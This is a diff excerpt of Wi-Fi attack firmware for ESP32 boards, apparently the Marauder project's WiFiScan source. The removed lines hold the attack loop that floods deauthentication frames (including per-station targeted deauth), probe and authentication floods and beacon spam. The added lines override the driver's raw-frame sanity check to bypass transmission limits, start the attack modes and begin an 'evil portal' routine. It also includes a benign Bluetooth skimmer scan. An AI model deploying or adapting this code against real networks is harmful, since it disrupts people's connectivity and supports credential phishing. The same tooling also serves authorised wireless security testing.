-    display_obj.tftDrawColorKey();
-    display_obj.tftDrawGraphObjects(x_scale);
-  }
-#endif
-
-//void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
-//  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-//  showMetadata(snifferPacket, type);
-//}
-
-void WiFiScan::changeChannel(int chan) {
-  this->set_channel = chan;
-  esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);
-}
-
-void WiFiScan::changeChannel()
-{
-  esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);
-}
-
-// Function to cycle to the next channel
-void WiFiScan::channelHop()
-{
-  this->set_channel = this->set_channel + 1;
-  if (this->set_channel > 13) {
-    this->set_channel = 1;
-  }
-  esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);
-}
-
-char* WiFiScan::stringToChar(String string) {
-  char buf[string.length() + 1] = {};
-  string.toCharArray(buf, string.length() + 1);
-
-  return buf;
-}
-
-
-// Function for updating scan status
-void WiFiScan::main(uint32_t currentTime)
-{
-  // WiFi operations
-  if ((currentScanMode == WIFI_SCAN_PROBE) ||
-  (currentScanMode == WIFI_SCAN_AP) ||
-  (currentScanMode == WIFI_SCAN_STATION) ||
-  (currentScanMode == WIFI_SCAN_TARGET_AP) ||
-  (currentScanMode == WIFI_SCAN_PWN) ||
-  (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
-  (currentScanMode == WIFI_SCAN_DEAUTH) ||
-  (currentScanMode == WIFI_SCAN_ALL))
-  {
-    if (currentTime - initTime >= this->channel_hop_delay * 1000)
-    {
-      initTime = millis();
-      channelHop();
-    }
-  }
-  else if (currentScanMode == WIFI_PACKET_MONITOR)
-  {
-    #ifdef HAS_SCREEN
-      #ifndef MARAUDER_MINI
-        packetMonitorMain(currentTime);
-      #endif
-    #endif
-  }
-  else if (currentScanMode == WIFI_SCAN_EAPOL)
-  {
-    #ifdef HAS_SCREEN
-      #ifndef MARAUDER_MINI
-        eapolMonitorMain(currentTime);
-      #endif
-    #endif
-  }
-  else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
-  {
-    #ifdef HAS_SCREEN
-      eapolMonitorMain(currentTime);
-    #endif
-  }
-  else if (currentScanMode == WIFI_ATTACK_AUTH) {
-    for (int i = 0; i < 55; i++)
-      this->sendProbeAttack(currentTime);
-
-    if (currentTime - initTime >= 1000) {
-      initTime = millis();
-      String displayString = "";
-      String displayString2 = "";
-      displayString.concat(text18);
-      displayString.concat(packets_sent);
-      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-        displayString2.concat(" ");
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-        display_obj.showCenterText(displayString2, 160);
-        display_obj.showCenterText(displayString, 160);
-      #endif
-      packets_sent = 0;
-    }
-  }
-  else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
-    for (int i = 0; i < 55; i++)
-      this->sendDeauthAttack(currentTime, this->dst_mac);
-
-    if (currentTime - initTime >= 1000) {
-      initTime = millis();
-      String displayString = "";
-      String displayString2 = "";
-      displayString.concat(text18);
-      displayString.concat(packets_sent);
-      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-        displayString2.concat(" ");
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-        display_obj.showCenterText(displayString2, 160);
-        display_obj.showCenterText(displayString, 160);
-      #endif
-      packets_sent = 0;
-    }
-  }
-  else if (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) {
-    for (int i = 0; i < 55; i++)
-      this->sendDeauthFrame(this->src_mac, this->set_channel, this->dst_mac);
-
-    if (currentTime - initTime >= 1000) {
-      initTime = millis();
-      String displayString = "";
-      String displayString2 = "";
-      displayString.concat(text18);
-      displayString.concat(packets_sent);
-      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-        displayString2.concat(" ");
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-        display_obj.showCenterText(displayString2, 160);
-        display_obj.showCenterText(displayString, 160);
-      #endif
-      packets_sent = 0;
-    }
-  }
-  else if (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) {
-    // Loop through each AP
-    for (int x = 0; x < access_points->size(); x++) {
-      // Only get selected APs
-      if (access_points->get(x).selected) {
-        AccessPoint cur_ap = access_points->get(x);
-        // Loop through each AP's Station
-        for (int i = 0; i < cur_ap.stations->size(); i++) {
-          // Only get selected Stations
-          if (stations->get(cur_ap.stations->get(i)).selected) {
-            Station cur_sta = stations->get(cur_ap.stations->get(i));
-
-            // Send deauths for each selected AP's selected Station
-            for (int y = 0; y < 25; y++)
-              this->sendDeauthFrame(cur_ap.bssid, cur_ap.channel, cur_sta.mac);
-
-            // Display packets sent on screen
-            if (currentTime - initTime >= 1000) {
-              initTime = millis();
-              String displayString = "";
-              String displayString2 = "";
-              displayString.concat(text18);
-              displayString.concat(packets_sent);
-              for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-                displayString2.concat(" ");
-              #ifdef HAS_SCREEN
-                display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-                display_obj.showCenterText(displayString2, 160);
-                display_obj.showCenterText(displayString, 160);
-              #endif
-              packets_sent = 0;
-            }
-          }
-        }
-      }
-    }
-  }
-  else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
-    // Need this for loop because getTouch causes ~10ms delay
-    // which makes beacon spam less effective
-    for (int i = 0; i < access_points->size(); i++) {
-      if (access_points->get(i).selected)
-        this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, random(1, 12), {random(256), 
-                                                                                                   random(256),
-                                                                                                   random(256),
-                                                                                                   random(256),
-                                                                                                   random(256),
-                                                                                                   random(256)}});
-    }
-      
-
-    if (currentTime - initTime >= 1000)
-    {
-      initTime = millis();
-      //Serial.print("packets/sec: ");
-      //Serial.println(packets_sent);
-      String displayString = "";
-      String displayString2 = "";
-      displayString.concat(text18);
-      displayString.concat(packets_sent);
-      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-        displayString2.concat(" ");
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-        display_obj.showCenterText(displayString2, 160);
-        display_obj.showCenterText(displayString, 160);
-      #endif
-      packets_sent = 0;
-    }
-  }
-  else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
-  {
-    // Need this for loop because getTouch causes ~10ms delay
-    // which makes beacon spam less effective
-    for (int i = 0; i < 55; i++)
-      broadcastRandomSSID(currentTime);
-
-    if (currentTime - initTime >= 1000)
-    {
-      initTime = millis();
-      //Serial.print("packets/sec: ");
-      //Serial.println(packets_sent);
-      String displayString = "";
-      String displayString2 = "";
-      displayString.concat(text18);
-      displayString.concat(packets_sent);
-      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-        displayString2.concat(" ");
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-        display_obj.showCenterText(displayString2, 160);
-        display_obj.showCenterText(displayString, 160);
-      #endif
-      packets_sent = 0;
-    }
-  }
-  else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
-    for (int i = 0; i < ssids->size(); i++)
-      this->broadcastCustomBeacon(currentTime, ssids->get(i));
-
-    if (currentTime - initTime >= 1000)
-    {
-      initTime = millis();
-      packets_sent = 0;
-    }
-  }
-  else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
-    for (int i = 0; i < access_points->size(); i++) {
-      if (access_points->get(i).selected)
-        this->broadcastCustomBeacon(currentTime, access_points->get(i));
-    }
-
-    if (currentTime - initTime >= 1000) {
-      initTime = millis();
-      packets_sent = 0;
-    }
-  }
-  else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
-  {
-    // Need this for loop because getTouch causes ~10ms delay
-    // which makes beacon spam less effective
-    for (int i = 0; i < 7; i++)
-    {
-      for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
-      {
-        broadcastSetSSID(currentTime, rick_roll[x]);
-      }
-    }
-
-    if (currentTime - initTime >= 1000)
-    {
-      initTime = millis();
-      //Serial.print("packets/sec: ");
-      //Serial.println(packets_sent);
-      String displayString = "";
-      String displayString2 = "";
-      displayString.concat(text18);
-      displayString.concat(packets_sent);
-      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-        displayString2.concat(" ");
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-        display_obj.showCenterText(displayString2, 160);
-        display_obj.showCenterText(displayString, 160);
-      #endif
-      packets_sent = 0;
-    }
-  }
-}
+#include "WiFiScan.h"
+#include "lang_var.h"
+
+int num_beacon = 0;
+int num_deauth = 0;
+int num_probe = 0;
+int num_eapol = 0;
+
+LinkedList<ssid>* ssids;
+LinkedList<AccessPoint>* access_points;
+LinkedList<Station>* stations;
+
+extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
+    if (arg == 31337)
+      return 1;
+    else
+      return 0;
+}
+
+#ifdef HAS_BT
+  class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
+  
+      void onResult(BLEAdvertisedDevice *advertisedDevice) {
+  
+        #ifdef HAS_SCREEN
+          int buf = display_obj.display_buffer->size();
+        #else
+          int buf = 0;
+        #endif
+          
+        String display_string = "";
+        if (buf >= 0)
+        {
+          display_string.concat(text_table4[0]);
+          display_string.concat(advertisedDevice->getRSSI());
+          Serial.print(" RSSI: ");
+          Serial.print(advertisedDevice->getRSSI());
+  
+          display_string.concat(" ");
+          Serial.print(" ");
+          
+          Serial.print("Device: ");
+          if(advertisedDevice->getName().length() != 0)
+          {
+            display_string.concat(advertisedDevice->getName().c_str());
+            Serial.print(advertisedDevice->getName().c_str());
+            
+          }
+          else
+          {
+            display_string.concat(advertisedDevice->getAddress().toString().c_str());
+            Serial.print(advertisedDevice->getAddress().toString().c_str());
+          }
+  
+          #ifdef HAS_SCREEN
+            uint8_t temp_len = display_string.length();
+            for (uint8_t i = 0; i < 40 - temp_len; i++)
+            {
+              display_string.concat(" ");
+            }
+    
+            Serial.println();
+    
+            while (display_obj.printing)
+              delay(1);
+            display_obj.loading = true;
+            display_obj.display_buffer->add(display_string);
+            display_obj.loading = false;
+          #endif
+        }
+      }
+  };
+  
+  class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
+      void onResult(BLEAdvertisedDevice *advertisedDevice) {
+        String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
+  
+        #ifdef HAS_SCREEN
+          int buf = display_obj.display_buffer->size();
+        #else
+          int buf = 0;
+        #endif
+          
+        if (buf >= 0)
+        {
+          Serial.print("Device: ");
+          String display_string = "";
+          if(advertisedDevice->getName().length() != 0)
+          {
+            Serial.print(advertisedDevice->getName().c_str());
+            for(uint8_t i = 0; i < bad_list_length; i++)
+            {
+              #ifdef HAS_SCREEN
+                if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
+                {
+                  display_string.concat(text_table4[1]);
+                  display_string.concat(" ");
+                  display_string.concat(advertisedDevice->getName().c_str());
+                  uint8_t temp_len = display_string.length();
+                  for (uint8_t i = 0; i < 40 - temp_len; i++)
+                  {
+                    display_string.concat(" ");
+                  }
+                  while (display_obj.printing)
+                    delay(1);
+                  display_obj.loading = true;
+                  display_obj.display_buffer->add(display_string);
+                  display_obj.loading = false;
+                }
+              #endif
+            }
+          }
+          else
+          {
+            Serial.print(advertisedDevice->getAddress().toString().c_str());
+          }
+          Serial.print(" RSSI: ");
+          Serial.println(advertisedDevice->getRSSI());
+        }
+      }
+  };
+#endif
+
+
+WiFiScan::WiFiScan()
+{
+}
+
+void WiFiScan::RunSetup() {
+  if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
+    this->wsl_bypass_enabled = true;
+  else
+    this->wsl_bypass_enabled = false;
+    
+  ssids = new LinkedList<ssid>();
+  access_points = new LinkedList<AccessPoint>();
+  stations = new LinkedList<Station>();
+
+  #ifdef HAS_BT
+    NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
+    NimBLEDevice::setScanDuplicateCacheSize(200);
+    NimBLEDevice::init("");
+    pBLEScan = NimBLEDevice::getScan(); //create new scan
+    this->ble_initialized = true;
+    
+    this->shutdownBLE();
+  #endif
+
+  this->initWiFi(1);
+}
+
+int WiFiScan::clearStations() {
+  int num_cleared = stations->size();
+  stations->clear();
+  Serial.println("stations: " + (String)stations->size());
+
+  // Now clear stations list from APs
+  for (int i = 0; i < access_points->size(); i++)
+    access_points->get(i).stations->clear();
+    
+  return num_cleared;
+}
+
+bool WiFiScan::checkMem() {
+  if (esp_get_free_heap_size() <= MEM_LOWER_LIM)
+    return false;
+  else
+    return true;
+}
+
+int WiFiScan::clearAPs() {
+  int num_cleared = access_points->size();
+  while (access_points->size() > 0)
+    access_points->remove(0);
+  Serial.println("access_points: " + (String)access_points->size());
+  return num_cleared;
+}
+
+int WiFiScan::clearSSIDs() {
+  int num_cleared = ssids->size();
+  ssids->clear();
+  Serial.println("ssids: " + (String)ssids->size());
+  return num_cleared;
+}
+
+bool WiFiScan::addSSID(String essid) {
+  ssid s = {essid, random(1, 12), {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
+  ssids->add(s);
+  Serial.println(ssids->get(ssids->size() - 1).essid);
+
+  return true;
+}
+
+int WiFiScan::generateSSIDs(int count) {
+  uint8_t num_gen = count;
+  for (uint8_t x = 0; x < num_gen; x++) {
+    String essid = "";
+
+    for (uint8_t i = 0; i < 6; i++)
+      essid.concat(alfa[random(65)]);
+
+    ssid s = {essid, random(1, 12), {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
+    ssids->add(s);
+    Serial.println(ssids->get(ssids->size() - 1).essid);
+  }
+
+  return num_gen;
+}
+
+/*void WiFiScan::joinWiFi(String ssid, String password)
+{
+  static const char * btns[] ={text16, ""};
+  int count = 0;
+  
+  if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
+    #ifdef HAS_SCREEN
+      lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
+      lv_msgbox_set_text(mbox1, text_table4[2]);
+      lv_msgbox_add_btns(mbox1, btns);
+      lv_obj_set_width(mbox1, 200);
+      lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); //Align to the corner
+    #endif
+    this->wifi_initialized = true;
+    return;
+  }
+  else if (WiFi.status() == WL_CONNECTED) {
+    Serial.println("Already connected. Disconnecting...");
+    WiFi.disconnect();
+  }
+
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+    
+  WiFi.begin(ssid.c_str(), password.c_str());
+
+  Serial.print("Connecting to WiFi");
+  while (WiFi.status() != WL_CONNECTED) {
+    delay(500);
+    Serial.print(".");
+    count++;
+    if (count == 10)
+    {
+      Serial.println("\nCould not connect to WiFi network");
+      #ifdef HAS_SCREEN
+        lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
+        lv_msgbox_set_text(mbox1, text_table4[3]);
+        lv_msgbox_add_btns(mbox1, btns);
+        lv_obj_set_width(mbox1, 200);
+        //lv_obj_set_event_cb(mbox1, event_handler);
+        lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); //Align to the corner
+      #endif
+      WiFi.mode(WIFI_OFF);
+      return;
+    }
+  }
+  
+  #ifdef HAS_SCREEN
+    lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
+    lv_msgbox_set_text(mbox1, text_table4[4]);
+    lv_msgbox_add_btns(mbox1, btns);
+    lv_obj_set_width(mbox1, 200);
+    lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); //Align to the corner
+  #endif
+  connected_network = ssid;
+  
+  Serial.println("\nConnected to the WiFi network");
+  Serial.print("IP address: ");
+  Serial.println(WiFi.localIP());
+  this->wifi_initialized = true;
+}*/
+
+// Apply WiFi settings
+void WiFiScan::initWiFi(uint8_t scan_mode) {
+  // Set the channel
+  if (scan_mode != WIFI_SCAN_OFF) {
+    //Serial.println(F("Initializing WiFi settings..."));
+    this->changeChannel();
+  
+    this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
+    this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
+    this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
+    //Serial.println(F("Initialization complete"));
+  }
+}
+
+bool WiFiScan::scanning() {
+  if (this->currentScanMode == WIFI_SCAN_OFF)
+    return false;
+  else
+    return true;
+}
+
+// Function to prepare to run a specific scan
+void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
+{  
+  this->initWiFi(scan_mode);
+  if (scan_mode == WIFI_SCAN_OFF)
+    StopScan(scan_mode);
+  else if (scan_mode == WIFI_SCAN_PROBE)
+    RunProbeScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_EVIL_PORTAL)
+    RunEvilPortal(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_EAPOL)
+    RunEapolScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
+    RunEapolScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_ACTIVE_LIST_EAPOL)
+    RunEapolScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_AP)
+    RunBeaconScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_WAR_DRIVE)
+    RunBeaconScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_SIG_STREN)
+    RunRawScan(scan_mode, color);    
+  else if (scan_mode == WIFI_SCAN_RAW_CAPTURE)
+    RunRawScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_STATION)
+    RunStationScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_TARGET_AP)
+    RunAPScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
+    RunAPScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_PWN)
+    RunPwnScan(scan_mode, color);
+  else if (scan_mode == WIFI_SCAN_DEAUTH)
+    RunDeauthScan(scan_mode, color);
+  else if (scan_mode == WIFI_PACKET_MONITOR) {
+    #ifdef HAS_SCREEN
+      RunPacketMonitor(scan_mode, color);
+    #endif
+  }
+  else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
+    this->startWiFiAttacks(scan_mode, color, text_table1[50]);
+  else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
+    this->startWiFiAttacks(scan_mode, color, text_table1[51]);
+  else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
+    this->startWiFiAttacks(scan_mode, color, text_table1[52]);
+  else if (scan_mode == WIFI_ATTACK_AUTH)
+    this->startWiFiAttacks(scan_mode, color, text_table4[7]);
+  else if (scan_mode == WIFI_ATTACK_DEAUTH)
+    this->startWiFiAttacks(scan_mode, color, text_table4[8]);
+  else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL)
+    this->startWiFiAttacks(scan_mode, color, text_table4[8]);
+  else if (scan_mode == WIFI_ATTACK_DEAUTH_TARGETED)
+    this->startWiFiAttacks(scan_mode, color, text_table4[47]);
+  else if (scan_mode == WIFI_ATTACK_AP_SPAM)
+    this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
+  else if (scan_mode == BT_SCAN_ALL) {
+    #ifdef HAS_BT
+      RunBluetoothScan(scan_mode, color);
+    #endif
+  }
+  else if (scan_mode == BT_SCAN_SKIMMERS) {
+    #ifdef HAS_BT
+      RunBluetoothScan(scan_mode, color);
+    #endif
+  }
+  else if (scan_mode == LV_ADD_SSID) {
+    #ifdef HAS_SCREEN
+      RunLvJoinWiFi(scan_mode, color);
+    #endif
+  }
+
+  WiFiScan::currentScanMode = scan_mode;
+}
+
+void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
+  // Common wifi attack configurations
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_BLACK, color);
+    display_obj.tft.fillRect(0,16,240,16, color);
+    display_obj.tft.drawCentreString((String)title_string,120,16,2);
+    display_obj.touchToExit();
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+  #endif
+
+  //wifi_ap_config_t ap_config;
+  //ap_config.ssid_hidden = 1;
+
+  ap_config.ap.ssid_hidden = 1;
+  ap_config.ap.beacon_interval = 10000;
+  ap_config.ap.ssid_len = 0;
+        
+  packets_sent = 0;
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_AP);
+  esp_wifi_set_config(WIFI_IF_AP, &ap_config);
+  esp_wifi_start();
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  
+  //WiFi.mode(WIFI_AP_STA);
+  
+  //esp_wifi_init(&cfg);
+  //esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  //esp_wifi_set_mode(WIFI_AP_STA);
+  //esp_wifi_start();
+  //esp_wifi_set_promiscuous_filter(NULL);
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_max_tx_power(82);
+  this->wifi_initialized = true;
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.attackLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.attackLED();
+  #else
+    led_obj.setMode(MODE_ATTACK);
+  #endif
+  initTime = millis();
+}
+
+bool WiFiScan::shutdownWiFi() {
+  if (this->wifi_initialized) {
+    esp_wifi_set_promiscuous(false);
+    WiFi.disconnect();
+    WiFi.mode(WIFI_OFF);
+
+    dst_mac = "ff:ff:ff:ff:ff:ff";
+  
+    esp_wifi_set_mode(WIFI_MODE_NULL);
+    esp_wifi_stop();
+    esp_wifi_restore();
+    esp_wifi_deinit();
+
+    #ifdef MARAUDER_FLIPPER
+      flipper_led.offLED();
+    #elif defined(XIAO_ESP32_S3)
+      xiao_led.offLED();
+    #else
+      led_obj.setMode(MODE_OFF);
+    #endif
+  
+    this->wifi_initialized = false;
+    return true;
+  }
+  else {
+    return false;
+  }
+}
+
+bool WiFiScan::shutdownBLE() {
+  #ifdef HAS_BT
+    if (this->ble_initialized) {
+      pBLEScan->stop();
+      
+      pBLEScan->clearResults();
+      BLEDevice::deinit();
+
+      #ifdef MARAUDER_FLIPPER
+        flipper_led.offLED();
+      #elif defined(XIAO_ESP32_S3)
+        xiao_led.offLED();
+      #else
+        led_obj.setMode(MODE_OFF);
+      #endif
+    
+      this->ble_initialized = false;
+      return true;
+    }
+    else {
+      return false;
+    }
+  #endif
+
+  return true;
+}
+
+// Function to stop all wifi scans
+void WiFiScan::StopScan(uint8_t scan_mode)
+{
+  if ((currentScanMode == WIFI_SCAN_PROBE) ||
+  (currentScanMode == WIFI_SCAN_AP) ||
+  (currentScanMode == WIFI_SCAN_WAR_DRIVE) ||
+  (currentScanMode == WIFI_SCAN_EVIL_PORTAL) ||
+  (currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
+  (currentScanMode == WIFI_SCAN_STATION) ||
+  (currentScanMode == WIFI_SCAN_SIG_STREN) ||
+  (currentScanMode == WIFI_SCAN_TARGET_AP) ||
+  (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
+  (currentScanMode == WIFI_SCAN_PWN) ||
+  (currentScanMode == WIFI_SCAN_EAPOL) ||
+  (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
+  (currentScanMode == WIFI_SCAN_ACTIVE_LIST_EAPOL) ||
+  (currentScanMode == WIFI_SCAN_ALL) ||
+  (currentScanMode == WIFI_SCAN_DEAUTH) ||
+  (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
+  (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
+  (currentScanMode == WIFI_ATTACK_AUTH) ||
+  (currentScanMode == WIFI_ATTACK_DEAUTH) ||
+  (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
+  (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
+  (currentScanMode == WIFI_ATTACK_MIMIC) ||
+  (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
+  (currentScanMode == WIFI_PACKET_MONITOR) ||
+  (currentScanMode == LV_JOIN_WIFI))
+  {
+    this->shutdownWiFi();
+  }
+
+  
+  else if ((currentScanMode == BT_SCAN_ALL) ||
+  (currentScanMode == BT_SCAN_SKIMMERS))
+  {
+    #ifdef HAS_BT
+      this->shutdownBLE();
+    #endif
+  }
+
+  #ifdef HAS_SCREEN
+    display_obj.display_buffer->clear();
+    #ifdef SCREEN_BUFFER
+      display_obj.screen_buffer->clear();
+    #endif
+    //Serial.print("display_buffer->size(): ");
+    Serial.println(display_obj.display_buffer->size());
+  
+    display_obj.tteBar = false;
+  #endif
+}
+
+String WiFiScan::getStaMAC()
+{
+  char *buf;
+  uint8_t mac[6];
+  char macAddrChr[18] = {0};
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
+  this->wifi_initialized = true;
+  sprintf(macAddrChr, 
+          "%02X:%02X:%02X:%02X:%02X:%02X",
+          mac[0],
+          mac[1],
+          mac[2],
+          mac[3],
+          mac[4],
+          mac[5]);
+  this->shutdownWiFi();
+  return String(macAddrChr);
+}
+
+String WiFiScan::getApMAC()
+{
+  char *buf;
+  uint8_t mac[6];
+  char macAddrChr[18] = {0};
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
+  this->wifi_initialized = true;
+  sprintf(macAddrChr, 
+          "%02X:%02X:%02X:%02X:%02X:%02X",
+          mac[0],
+          mac[1],
+          mac[2],
+          mac[3],
+          mac[4],
+          mac[5]);
+  this->shutdownWiFi();
+  return String(macAddrChr);
+}
+
+bool WiFiScan::mac_cmp(struct mac_addr addr1, struct mac_addr addr2) {
+  //Return true if 2 mac_addr structs are equal.
+  for (int y = 0; y < 6 ; y++) {
+    if (addr1.bytes[y] != addr2.bytes[y]) {
+      return false;
+    }
+  }
+  return true;
+}
+
+bool WiFiScan::seen_mac(unsigned char* mac) {
+  //Return true if this MAC address is in the recently seen array.
+
+  struct mac_addr tmp;
+  for (int x = 0; x < 6 ; x++) {
+    tmp.bytes[x] = mac[x];
+  }
+
+  for (int x = 0; x < mac_history_len; x++) {
+    if (this->mac_cmp(tmp, this->mac_history[x])) {
+      return true;
+    }
+  }
+  return false;
+}
+
+void WiFiScan::save_mac(unsigned char* mac) {
+  //Save a MAC address into the recently seen array.
+  if (this->mac_history_cursor >= mac_history_len) {
+    this->mac_history_cursor = 0;
+  }
+  struct mac_addr tmp;
+  for (int x = 0; x < 6 ; x++) {
+    tmp.bytes[x] = mac[x];
+  }
+
+  this->mac_history[this->mac_history_cursor] = tmp;
+  this->mac_history_cursor++;
+}
+
+String WiFiScan::security_int_to_string(int security_type) {
+  //Provide a security type int from WiFi.encryptionType(i) to convert it to a String which Wigle CSV expects.
+  String authtype = "";
+
+  switch (security_type) {
+    case WIFI_AUTH_OPEN:
+      authtype = "[OPEN]";
+      break;
+  
+    case WIFI_AUTH_WEP:
+      authtype = "[WEP]";
+      break;
+  
+    case WIFI_AUTH_WPA_PSK:
+      authtype = "[WPA_PSK]";
+      break;
+  
+    case WIFI_AUTH_WPA2_PSK:
+      authtype = "[WPA2_PSK]";
+      break;
+  
+    case WIFI_AUTH_WPA_WPA2_PSK:
+      authtype = "[WPA_WPA2_PSK]";
+      break;
+  
+    case WIFI_AUTH_WPA2_ENTERPRISE:
+      authtype = "[WPA2]";
+      break;
+
+    //Requires at least v2.0.0 of https://github.com/espressif/arduino-esp32/
+    case WIFI_AUTH_WPA3_PSK:
+      authtype = "[WPA3_PSK]";
+      break;
+
+    case WIFI_AUTH_WPA2_WPA3_PSK:
+      authtype = "[WPA2_WPA3_PSK]";
+      break;
+
+    case WIFI_AUTH_WAPI_PSK:
+      authtype = "[WAPI_PSK]";
+      break;
+        
+    default:
+      authtype = "[UNDEFINED]";
+  }
+
+  return authtype;
+}
+
+void WiFiScan::clearMacHistory() {
+    for (int i = 0; i < mac_history_len; ++i) {
+        memset(this->mac_history[i].bytes, 0, sizeof(mac_history[i].bytes));
+    }
+}
+
+String WiFiScan::freeRAM()
+{
+  char s[150];
+  sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
+  this->free_ram = String(esp_get_free_heap_size());
+  return String(s);
+}
+
+void WiFiScan::RunEvilPortal(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.open();
+  #elif defined(HAS_SD)
+    sd_obj.openLog("evil_portal");
+  #else
+    return;
+  #endif
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
